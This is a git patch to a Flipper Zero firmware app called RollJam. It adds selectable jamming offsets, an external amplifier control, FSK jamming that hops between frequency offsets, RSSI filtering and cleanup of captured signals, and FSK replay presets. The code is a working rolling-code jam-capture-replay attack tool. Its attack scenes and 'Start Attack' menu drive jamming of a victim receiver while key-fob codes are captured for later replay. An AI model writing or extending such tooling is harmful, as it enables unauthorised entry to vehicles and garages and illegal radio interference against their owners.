From a02aabbbda6a1d04843146f57cfcbc139fb360b1 Mon Sep 17 00:00:00 2001 From: Andrea Santaniello Date: Sat, 14 Mar 2026 14:14:08 +0100 Subject: [PATCH] Rolljam select offsets/RL Flux Capacitor support --- .../main/RollJam/helpers/rolljam_cc1101_ext.c | 147 +++++++----------- .../main/RollJam/helpers/rolljam_receiver.c | 146 ++++++++++++++++- .../main/RollJam/helpers/rolljam_receiver.h | 3 + applications/main/RollJam/rolljam.c | 19 ++- applications/main/RollJam/rolljam.h | 23 ++- .../scenes/rolljam_scene_attack_phase1.c | 1 + .../scenes/rolljam_scene_attack_phase2.c | 1 + .../main/RollJam/scenes/rolljam_scene_menu.c | 21 ++- targets/f18/api_symbols.csv | 90 ----------- 9 files changed, 254 insertions(+), 197 deletions(-) diff --git a/applications/main/RollJam/helpers/rolljam_cc1101_ext.c b/applications/main/RollJam/helpers/rolljam_cc1101_ext.c index 5816db99..26844ef3 100644 --- a/applications/main/RollJam/helpers/rolljam_cc1101_ext.c +++ b/applications/main/RollJam/helpers/rolljam_cc1101_ext.c @@ -35,6 +35,7 @@ static const GpioPin* pin_miso = &gpio_ext_pa6; static const GpioPin* pin_cs = &gpio_ext_pa4; static const GpioPin* pin_sck = &gpio_ext_pb3; static const GpioPin* pin_gdo0 = &gpio_ext_pb2; +static const GpioPin* pin_amp = &gpio_ext_pc3; // ============================================================ // CC1101 Registers @@ -226,49 +227,12 @@ static void cc_set_freq(uint32_t f) { cc_write(CC_FREQ0, r & 0xFF); } -// ============================================================ -// JAMMING APPROACH: Random OOK noise via FIFO -// ============================================================ -/* - * Previous approaches and their problems: - * - * 1. FIFO random data (first attempt): - * - 100% underflow because data rate was too high - * - * 2. Broadband GDO0 toggling: - * - Self-interference with internal CC1101 - * - * 3. Pure CW carrier: - * - Too weak/narrow to jam effectively - * - * NEW APPROACH: Low data rate FIFO feeding - * - * Key insight: the underflow happened because data rate was - * 115 kBaud and we couldn't feed the FIFO fast enough from - * the thread (furi_delay + SPI overhead). - * - * Solution: Use LOW data rate (~1.2 kBaud) so the FIFO - * drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms! - * That's plenty of time to refill. - * - * At 1.2 kBaud with random data, the OOK signal creates - * random on/off keying with ~833us per bit. This produces - * a modulated signal with ~1.2kHz bandwidth - enough to - * disrupt OOK receivers but narrow enough to not self-jam. - * - * Combined with the 700kHz offset, this is: - * - Visible on spectrum analyzers (modulated signal) - * - Effective at disrupting victim receivers - * - NOT interfering with our narrow 58kHz RX - */ - static bool cc_configure_jam(uint32_t freq) { FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq); cc_idle(); - // GDO0: TX FIFO threshold - cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold - cc_write(CC_IOCFG2, 0x0E); // Carrier sense + cc_write(CC_IOCFG0, 0x02); + cc_write(CC_IOCFG2, 0x2F); // Fixed packet length, 255 bytes per packet cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening @@ -352,7 +316,7 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) { cc_idle(); cc_write(CC_IOCFG0, 0x02); - cc_write(CC_IOCFG2, 0x0E); + cc_write(CC_IOCFG2, 0x2F); cc_write(CC_PKTCTRL0, 0x00); cc_write(CC_PKTCTRL1, 0x00); cc_write(CC_PKTLEN, 0xFF); @@ -406,13 +370,24 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) { // Jam thread - FIFO-fed OOK at low data rate // ============================================================ +static void jam_start_tx(const uint8_t* pattern, uint8_t len) { + cc_strobe(CC_SFTX); + furi_delay_ms(1); + cc_write_burst(CC_TXFIFO, pattern, len); + cc_strobe(CC_STX); + furi_delay_ms(5); +} + static int32_t jam_thread_worker(void* context) { RollJamApp* app = context; + bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476); + uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz; + uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz; + FURI_LOG_I(TAG, "========================================"); - FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE"); - FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)", - app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ); + FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d", + app->frequency, app->jam_offset_hz, is_fsk); FURI_LOG_I(TAG, "========================================"); if(!cc_reset()) { @@ -423,24 +398,20 @@ static int32_t jam_thread_worker(void* context) { FURI_LOG_E(TAG, "JAM: No chip!"); return -1; } + bool jam_ok = false; if(app->mod_index == ModIndex_FM238) { - FURI_LOG_I(TAG, "JAM: FSK mode FM238"); - jam_ok = cc_configure_jam_fsk(app->jam_frequency, false); + jam_ok = cc_configure_jam_fsk(jam_freq_pos, false); } else if(app->mod_index == ModIndex_FM476) { - FURI_LOG_I(TAG, "JAM: FSK mode FM476"); - jam_ok = cc_configure_jam_fsk(app->jam_frequency, true); + jam_ok = cc_configure_jam_fsk(jam_freq_pos, true); } else { - FURI_LOG_I(TAG, "JAM: OOK mode"); - jam_ok = cc_configure_jam(app->jam_frequency); + jam_ok = cc_configure_jam(jam_freq_pos); } if(!jam_ok) { FURI_LOG_E(TAG, "JAM: Config failed!"); return -1; } - // Fixed pattern: alternating 0xAA/0x55 — uniform amplitude, - // detectable by rolljam_is_jammer_pattern() on the RX side static const uint8_t noise_pattern[62] = { 0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55, 0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55, @@ -452,89 +423,77 @@ static int32_t jam_thread_worker(void* context) { 0xAA,0x55 }; - // Flush TX FIFO - cc_strobe(CC_SFTX); - furi_delay_ms(1); - - // Pre-fill FIFO with fixed pattern - cc_write_burst(CC_TXFIFO, noise_pattern, 62); - - uint8_t txb = cc_txbytes(); - FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb); - - // Enter TX - cc_strobe(CC_STX); - furi_delay_ms(5); + furi_hal_gpio_write(pin_amp, true); + jam_start_tx(noise_pattern, 62); uint8_t st = cc_state(); - FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st); - if(st != MARC_TX) { - // Retry cc_idle(); - cc_strobe(CC_SFTX); - furi_delay_ms(1); - cc_write_burst(CC_TXFIFO, noise_pattern, 62); - cc_strobe(CC_STX); - furi_delay_ms(5); + jam_start_tx(noise_pattern, 62); st = cc_state(); - FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st); if(st != MARC_TX) { + furi_hal_gpio_write(pin_amp, false); FURI_LOG_E(TAG, "JAM: Cannot enter TX!"); return -1; } } - FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***"); + FURI_LOG_I(TAG, "JAM: *** ACTIVE ***"); uint32_t loops = 0; uint32_t underflows = 0; uint32_t refills = 0; + bool on_positive_offset = true; while(app->jam_thread_running) { loops++; - st = cc_state(); - - if(st != MARC_TX) { - // Packet finished or underflow - reload and re-enter TX - underflows++; - + if(is_fsk && (loops % 4 == 0)) { cc_idle(); cc_strobe(CC_SFTX); furi_delay_us(100); - // Refill with fixed pattern - cc_write_burst(CC_TXFIFO, noise_pattern, 62); + on_positive_offset = !on_positive_offset; + cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg); + cc_write_burst(CC_TXFIFO, noise_pattern, 62); cc_strobe(CC_STX); furi_delay_ms(1); continue; } - // Check if FIFO needs refilling - txb = cc_txbytes(); + st = cc_state(); + + if(st != MARC_TX) { + underflows++; + cc_idle(); + cc_strobe(CC_SFTX); + furi_delay_us(100); + cc_write_burst(CC_TXFIFO, noise_pattern, 62); + cc_strobe(CC_STX); + furi_delay_ms(1); + continue; + } + + uint8_t txb = cc_txbytes(); if(txb < 20) { - // Refill what we can uint8_t space = 62 - txb; if(space > 50) space = 50; - cc_write_burst(CC_TXFIFO, noise_pattern, space); refills++; } - // Log periodically if(loops % 500 == 0) { - FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X", - loops, underflows, refills, cc_txbytes(), cc_state()); + FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d", + loops, underflows, refills, cc_txbytes()); } - // At 1.2 kBaud, 62 bytes last ~413ms - // Check every 50ms - plenty of time furi_delay_ms(50); } cc_idle(); + furi_hal_gpio_write(pin_amp, false); + cc_write(CC_IOCFG2, 0x2E); FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills); return 0; } @@ -553,9 +512,13 @@ void rolljam_ext_gpio_init(void) { furi_hal_gpio_write(pin_mosi, false); furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); + furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull); + furi_hal_gpio_write(pin_amp, false); } void rolljam_ext_gpio_deinit(void) { + furi_hal_gpio_write(pin_amp, false); + furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog); furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow); @@ -570,7 +533,7 @@ void rolljam_ext_gpio_deinit(void) { void rolljam_jammer_start(RollJamApp* app) { if(app->jamming_active) return; - app->jam_frequency = app->frequency + JAM_OFFSET_HZ; + app->jam_frequency = app->frequency + app->jam_offset_hz; rolljam_ext_power_on(); furi_delay_ms(100); rolljam_ext_gpio_init(); diff --git a/applications/main/RollJam/helpers/rolljam_receiver.c b/applications/main/RollJam/helpers/rolljam_receiver.c index b434b499..9c709c5b 100644 --- a/applications/main/RollJam/helpers/rolljam_receiver.c +++ b/applications/main/RollJam/helpers/rolljam_receiver.c @@ -91,6 +91,50 @@ static const uint8_t preset_ook_tx[] = { 0x00, 0x00 }; +static const uint8_t preset_fsk_tx_238[] = { + CC_IOCFG0, 0x0D, + CC_FIFOTHR, 0x47, + CC_MDMCFG4, 0x8C, + CC_MDMCFG3, 0x32, + CC_MDMCFG2, 0x00, + CC_MDMCFG1, 0x00, + CC_MDMCFG0, 0x00, + CC_DEVIATN, 0x15, + CC_MCSM0, 0x18, + CC_FOCCFG, 0x16, + CC_AGCCTRL2, 0x07, + CC_AGCCTRL1, 0x00, + CC_AGCCTRL0, 0x91, + CC_FREND0, 0x10, + CC_FSCAL3, 0xEA, + CC_FSCAL2, 0x2A, + CC_FSCAL1, 0x00, + CC_FSCAL0, 0x1F, + 0x00, 0x00 +}; + +static const uint8_t preset_fsk_tx_476[] = { + CC_IOCFG0, 0x0D, + CC_FIFOTHR, 0x47, + CC_MDMCFG4, 0x8C, + CC_MDMCFG3, 0x32, + CC_MDMCFG2, 0x00, + CC_MDMCFG1, 0x00, + CC_MDMCFG0, 0x00, + CC_DEVIATN, 0x47, + CC_MCSM0, 0x18, + CC_FOCCFG, 0x16, + CC_AGCCTRL2, 0x07, + CC_AGCCTRL1, 0x00, + CC_AGCCTRL0, 0x91, + CC_FREND0, 0x10, + CC_FSCAL3, 0xEA, + CC_FSCAL2, 0x2A, + CC_FSCAL1, 0x00, + CC_FSCAL0, 0x1F, + 0x00, 0x00 +}; + // ============================================================ // Capture state machine // ============================================================ @@ -132,6 +176,7 @@ static volatile int cap_valid_count; static volatile int cap_total_count; static volatile bool cap_target_first; static volatile uint32_t cap_callback_count; +static volatile float cap_rssi_baseline; static void capture_rx_callback(bool level, uint32_t duration, void* context) { RollJamApp* app = context; @@ -251,7 +296,13 @@ void rolljam_capture_start(RollJamApp* app) { furi_delay_ms(5); - // Reset state machine + furi_hal_subghz_rx(); + furi_delay_ms(50); + cap_rssi_baseline = furi_hal_subghz_get_rssi(); + furi_hal_subghz_idle(); + furi_delay_ms(5); + FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline); + cap_state = CapWaiting; cap_valid_count = 0; cap_total_count = 0; @@ -339,8 +390,19 @@ bool rolljam_signal_is_valid(RawSignal* signal) { int ratio_pct = (total > 0) ? ((good * 100) / total) : 0; if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) { - FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d", - good, total, ratio_pct, total); + float rssi = furi_hal_subghz_get_rssi(); + float rssi_delta = rssi - cap_rssi_baseline; + FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f", + good, total, ratio_pct, total, (double)rssi, (double)rssi_delta); + if(rssi_delta < 5.0f && rssi < -85.0f) { + FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)", + (double)rssi, (double)rssi_delta); + signal->size = 0; + cap_state = CapWaiting; + cap_valid_count = 0; + cap_total_count = 0; + return false; + } return true; } @@ -352,6 +414,70 @@ bool rolljam_signal_is_valid(RawSignal* signal) { return false; } +// ============================================================ +// Signal cleanup +// ============================================================ + +void rolljam_signal_cleanup(RawSignal* signal) { + if(signal->size < MIN_FRAME_PULSES) return; + + int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t)); + if(!cleaned) return; + size_t out = 0; + + size_t start = 0; + while(start < signal->size) { + int16_t val = signal->data[start]; + int16_t abs_val = val > 0 ? val : -val; + if(abs_val >= MIN_PULSE_US) break; + start++; + } + + for(size_t i = start; i < signal->size; i++) { + int16_t val = signal->data[i]; + int16_t abs_val = val > 0 ? val : -val; + bool is_positive = val > 0; + + if(abs_val < MIN_PULSE_US) { + if(out > 0) { + int16_t prev = cleaned[out - 1]; + bool prev_positive = prev > 0; + int16_t prev_abs = prev > 0 ? prev : -prev; + if(prev_positive == is_positive) { + int32_t merged = (int32_t)prev_abs + abs_val; + if(merged > 32767) merged = 32767; + cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged; + } + } + continue; + } + + int16_t quantized = (int16_t)(((abs_val + 50) / 100) * 100); + if(quantized < MIN_PULSE_US) quantized = MIN_PULSE_US; + if(quantized > 32767) quantized = 32767; + + if(out < RAW_SIGNAL_MAX_SIZE) { + cleaned[out++] = is_positive ? quantized : -quantized; + } + } + + while(out > 0) { + int16_t last = cleaned[out - 1]; + int16_t abs_last = last > 0 ? last : -last; + if(abs_last >= MIN_PULSE_US && abs_last < 32767) break; + out--; + } + + if(out >= MIN_FRAME_PULSES) { + size_t orig = signal->size; + memcpy(signal->data, cleaned, out * sizeof(int16_t)); + signal->size = out; + FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out); + } + + free(cleaned); +} + // ============================================================ // TX // ============================================================ @@ -387,7 +513,19 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) { furi_hal_subghz_idle(); furi_delay_ms(10); - furi_hal_subghz_load_custom_preset(preset_ook_tx); + const uint8_t* tx_preset; + switch(app->mod_index) { + case ModIndex_FM238: + tx_preset = preset_fsk_tx_238; + break; + case ModIndex_FM476: + tx_preset = preset_fsk_tx_476; + break; + default: + tx_preset = preset_ook_tx; + break; + } + furi_hal_subghz_load_custom_preset(tx_preset); uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency); FURI_LOG_I(TAG, "TX: freq=%lu", real_freq); diff --git a/applications/main/RollJam/helpers/rolljam_receiver.h b/applications/main/RollJam/helpers/rolljam_receiver.h index 76a90707..1ce6d483 100644 --- a/applications/main/RollJam/helpers/rolljam_receiver.h +++ b/applications/main/RollJam/helpers/rolljam_receiver.h @@ -24,6 +24,9 @@ void rolljam_capture_stop(RollJamApp* app); // Check if captured signal looks valid (not just noise) bool rolljam_signal_is_valid(RawSignal* signal); +// Clean up captured signal: merge short pulses, quantize, trim noise +void rolljam_signal_cleanup(RawSignal* signal); + // Transmit a raw signal via internal CC1101 void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal); diff --git a/applications/main/RollJam/rolljam.c b/applications/main/RollJam/rolljam.c index 6c4aa479..ee37fea6 100644 --- a/applications/main/RollJam/rolljam.c +++ b/applications/main/RollJam/rolljam.c @@ -43,6 +43,20 @@ const char* mod_names[] = { "FM 476", }; +const uint32_t jam_offset_values[] = { + 300000, + 500000, + 700000, + 1000000, +}; + +const char* jam_offset_names[] = { + "300 kHz", + "500 kHz", + "700 kHz", + "1000 kHz", +}; + // ============================================================ // Scene handlers table (extern declarations in scene header) // ============================================================ @@ -100,10 +114,11 @@ static RollJamApp* rolljam_app_alloc(void) { RollJamApp* app = malloc(sizeof(RollJamApp)); memset(app, 0, sizeof(RollJamApp)); - // Defaults app->freq_index = FreqIndex_433_92; app->frequency = freq_values[FreqIndex_433_92]; app->mod_index = ModIndex_AM650; + app->jam_offset_index = JamOffIndex_700k; + app->jam_offset_hz = jam_offset_values[JamOffIndex_700k]; // Services app->gui = furi_record_open(RECORD_GUI); @@ -203,7 +218,7 @@ int32_t rolljam_app(void* p) { FURI_LOG_I(TAG, "=== RollJam Started ==="); FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)"); - FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ); + FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz); scene_manager_next_scene(app->scene_manager, RollJamSceneMenu); view_dispatcher_run(app->view_dispatcher); diff --git a/applications/main/RollJam/rolljam.h b/applications/main/RollJam/rolljam.h index adc4471d..31d27c43 100644 --- a/applications/main/RollJam/rolljam.h +++ b/applications/main/RollJam/rolljam.h @@ -18,13 +18,6 @@ #define TAG "RollJam" -// ============================================================ -// Jam offset: external CC1101 transmits at target + this offset -// Victim receiver (wide BW ~300kHz) sees the jam -// Our internal CC1101 (narrow BW ~58kHz) rejects it -// ============================================================ -#define JAM_OFFSET_HZ 700000 - // Max raw signal buffer #define RAW_SIGNAL_MAX_SIZE 4096 @@ -62,6 +55,20 @@ typedef enum { extern const char* mod_names[]; +// ============================================================ +// Jam offsets +// ============================================================ +typedef enum { + JamOffIndex_300k = 0, + JamOffIndex_500k, + JamOffIndex_700k, + JamOffIndex_1000k, + JamOffIndex_COUNT, +} JamOffIndex; + +extern const uint32_t jam_offset_values[]; +extern const char* jam_offset_names[]; + // ============================================================ // Scenes // ============================================================ @@ -125,8 +132,10 @@ typedef struct { // Settings FreqIndex freq_index; ModIndex mod_index; + JamOffIndex jam_offset_index; uint32_t frequency; uint32_t jam_frequency; + uint32_t jam_offset_hz; // Captured signals RawSignal signal_first; diff --git a/applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c b/applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c index d417331f..37594959 100644 --- a/applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c +++ b/applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c @@ -11,6 +11,7 @@ static void phase1_timer_callback(void* context) { if(app->signal_first.size > 0 && rolljam_signal_is_valid(&app->signal_first)) { + rolljam_signal_cleanup(&app->signal_first); app->signal_first.valid = true; view_dispatcher_send_custom_event( app->view_dispatcher, RollJamEventSignalCaptured); diff --git a/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c b/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c index a1554f3b..be2dbf4d 100644 --- a/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c +++ b/applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c @@ -11,6 +11,7 @@ static void phase2_timer_callback(void* context) { if(app->signal_second.size > 0 && rolljam_signal_is_valid(&app->signal_second)) { + rolljam_signal_cleanup(&app->signal_second); app->signal_second.valid = true; view_dispatcher_send_custom_event( app->view_dispatcher, RollJamEventSignalCaptured); diff --git a/applications/main/RollJam/scenes/rolljam_scene_menu.c b/applications/main/RollJam/scenes/rolljam_scene_menu.c index d9846cd7..dcc930cf 100644 --- a/applications/main/RollJam/scenes/rolljam_scene_menu.c +++ b/applications/main/RollJam/scenes/rolljam_scene_menu.c @@ -21,11 +21,19 @@ static void menu_mod_changed(VariableItem* item) { variable_item_set_current_value_text(item, mod_names[index]); } +static void menu_jam_offset_changed(VariableItem* item) { + RollJamApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + app->jam_offset_index = index; + app->jam_offset_hz = jam_offset_values[index]; + variable_item_set_current_value_text(item, jam_offset_names[index]); +} + static void menu_enter_callback(void* context, uint32_t index) { RollJamApp* app = context; - if(index == 2) { - // "Start Attack" item + if(index == 3) { view_dispatcher_send_custom_event( app->view_dispatcher, RollJamEventStartAttack); } @@ -56,6 +64,15 @@ void rolljam_scene_menu_on_enter(void* context) { variable_item_set_current_value_index(mod_item, app->mod_index); variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]); + VariableItem* offset_item = variable_item_list_add( + app->var_item_list, + "Jam Offset", + JamOffIndex_COUNT, + menu_jam_offset_changed, + app); + variable_item_set_current_value_index(offset_item, app->jam_offset_index); + variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]); + // --- Start button --- variable_item_list_add( app->var_item_list, diff --git a/targets/f18/api_symbols.csv b/targets/f18/api_symbols.csv index 38794afc..a1247c23 100644 --- a/targets/f18/api_symbols.csv +++ b/targets/f18/api_symbols.csv @@ -94,14 +94,6 @@ Header,+,lib/mbedtls/include/mbedtls/md.h,, Header,+,lib/mbedtls/include/mbedtls/md5.h,, Header,+,lib/mbedtls/include/mbedtls/sha1.h,, Header,+,lib/mbedtls/include/mbedtls/sha256.h,, -Header,+,lib/mjs/mjs_array_buf_public.h,, -Header,+,lib/mjs/mjs_array_public.h,, -Header,+,lib/mjs/mjs_core_public.h,, -Header,+,lib/mjs/mjs_exec_public.h,, -Header,+,lib/mjs/mjs_object_public.h,, -Header,+,lib/mjs/mjs_primitive_public.h,, -Header,+,lib/mjs/mjs_string_public.h,, -Header,+,lib/mjs/mjs_util_public.h,, Header,+,lib/mlib/m-algo.h,, Header,+,lib/mlib/m-array.h,, Header,+,lib/mlib/m-bptree.h,, @@ -2150,88 +2142,6 @@ Function,+,menu_free,void,Menu* Function,+,menu_get_view,View*,Menu* Function,+,menu_reset,void,Menu* Function,+,menu_set_selected_item,void,"Menu*, uint32_t" -Function,+,mjs_apply,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, mjs_val_t*" -Function,+,mjs_arg,mjs_val_t,"mjs*, int" -Function,+,mjs_array_buf_get_ptr,char*,"mjs*, mjs_val_t, size_t*" -Function,+,mjs_array_del,void,"mjs*, mjs_val_t, unsigned long" -Function,+,mjs_array_get,mjs_val_t,"mjs*, mjs_val_t, unsigned long" -Function,+,mjs_array_length,unsigned long,"mjs*, mjs_val_t" -Function,+,mjs_array_push,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t" -Function,+,mjs_array_set,mjs_err_t,"mjs*, mjs_val_t, unsigned long, mjs_val_t" -Function,+,mjs_call,mjs_err_t,"mjs*, mjs_val_t*, mjs_val_t, mjs_val_t, int, ..." -Function,+,mjs_create,mjs*,void* -Function,+,mjs_dataview_get_buf,mjs_val_t,"mjs*, mjs_val_t" -Function,+,mjs_del,int,"mjs*, mjs_val_t, const char*, size_t" -Function,+,mjs_destroy,void,mjs* -Function,-,mjs_disasm_all,void,"mjs*, MjsPrintCallback, void*" -Function,+,mjs_disown,int,"mjs*, mjs_val_t*" -Function,-,mjs_dump,void,"mjs*, int, MjsPrintCallback, void*" -Function,+,mjs_exec,mjs_err_t,"mjs*, const char*, mjs_val_t*" -Function,+,mjs_exec_file,mjs_err_t,"mjs*, const char*, mjs_val_t*" -Function,+,mjs_exit,void,mjs* -Function,+,mjs_ffi_resolve,void*,"mjs*, const char*" -Function,-,mjs_fprintf,void,"mjs_val_t, mjs*, FILE*" -Function,+,mjs_get,mjs_val_t,"mjs*, mjs_val_t, const char*, size_t" -Function,-,mjs_get_bcode_filename_by_offset,const char*,"mjs*, int" -Function,+,mjs_get_bool,int,"mjs*, mjs_val_t" -Function,+,mjs_get_context,void*,mjs* -Function,+,mjs_get_cstring,const char*,"mjs*, mjs_val_t*" -Function,+,mjs_get_double,double,"mjs*, mjs_val_t" -Function,+,mjs_get_global,mjs_val_t,mjs* -Function,+,mjs_get_int,int,"mjs*, mjs_val_t" -Function,+,mjs_get_int32,int32_t,"mjs*, mjs_val_t" -Function,+,mjs_get_lineno_by_offset,int,"mjs*, int" -Function,+,mjs_get_offset_by_call_frame_num,int,"mjs*, int" -Function,+,mjs_get_ptr,void*,"mjs*, mjs_val_t" -Function,+,mjs_get_stack_trace,const char*,mjs* -Function,+,mjs_get_string,const char*,"mjs*, mjs_val_t*, size_t*" -Function,+,mjs_get_this,mjs_val_t,mjs* -Function,+,mjs_get_v,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t" -Function,+,mjs_get_v_proto,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t" -Function,+,mjs_is_array,int,mjs_val_t -Function,+,mjs_is_array_buf,int,mjs_val_t -Function,+,mjs_is_boolean,int,mjs_val_t -Function,+,mjs_is_data_view,int,mjs_val_t -Function,+,mjs_is_foreign,int,mjs_val_t -Function,+,mjs_is_function,int,mjs_val_t -Function,+,mjs_is_null,int,mjs_val_t -Function,+,mjs_is_number,int,mjs_val_t -Function,+,mjs_is_object,int,mjs_val_t -Function,+,mjs_is_object_based,int,mjs_val_t -Function,+,mjs_is_string,int,mjs_val_t -Function,+,mjs_is_truthy,int,"mjs*, mjs_val_t" -Function,+,mjs_is_typed_array,int,mjs_val_t -Function,+,mjs_is_undefined,int,mjs_val_t -Function,+,mjs_mk_array,mjs_val_t,mjs* -Function,+,mjs_mk_array_buf,mjs_val_t,"mjs*, char*, size_t" -Function,+,mjs_mk_boolean,mjs_val_t,"mjs*, int" -Function,+,mjs_mk_foreign,mjs_val_t,"mjs*, void*" -Function,+,mjs_mk_foreign_func,mjs_val_t,"mjs*, mjs_func_ptr_t" -Function,+,mjs_mk_function,mjs_val_t,"mjs*, size_t" -Function,+,mjs_mk_null,mjs_val_t, -Function,+,mjs_mk_number,mjs_val_t,"mjs*, double" -Function,+,mjs_mk_object,mjs_val_t,mjs* -Function,+,mjs_mk_string,mjs_val_t,"mjs*, const char*, size_t, int" -Function,+,mjs_mk_undefined,mjs_val_t, -Function,+,mjs_nargs,int,mjs* -Function,+,mjs_next,mjs_val_t,"mjs*, mjs_val_t, mjs_val_t*" -Function,+,mjs_own,void,"mjs*, mjs_val_t*" -Function,+,mjs_prepend_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..." -Function,-,mjs_print_error,void,"mjs*, FILE*, const char*, int" -Function,+,mjs_return,void,"mjs*, mjs_val_t" -Function,+,mjs_set,mjs_err_t,"mjs*, mjs_val_t, const char*, size_t, mjs_val_t" -Function,+,mjs_set_errorf,mjs_err_t,"mjs*, mjs_err_t, const char*, ..." -Function,+,mjs_set_exec_flags_poller,void,"mjs*, mjs_flags_poller_t" -Function,+,mjs_set_ffi_resolver,void,"mjs*, mjs_ffi_resolver_t*, void*" -Function,-,mjs_set_generate_jsc,void,"mjs*, int" -Function,+,mjs_set_v,mjs_err_t,"mjs*, mjs_val_t, mjs_val_t, mjs_val_t" -Function,+,mjs_sprintf,void,"mjs_val_t, mjs*, char*, size_t" -Function,+,mjs_strcmp,int,"mjs*, mjs_val_t*, const char*, size_t" -Function,+,mjs_strerror,const char*,"mjs*, mjs_err" -Function,+,mjs_struct_to_obj,mjs_val_t,"mjs*, const void*, const mjs_c_struct_member*" -Function,+,mjs_to_boolean_v,mjs_val_t,"mjs*, mjs_val_t" -Function,+,mjs_to_string,mjs_err_t,"mjs*, mjs_val_t*, char**, size_t*, int*" -Function,+,mjs_typeof,const char*,mjs_val_t Function,-,mkdtemp,char*,char* Function,-,mkostemp,int,"char*, int" Function,-,mkostemps,int,"char*, int, int"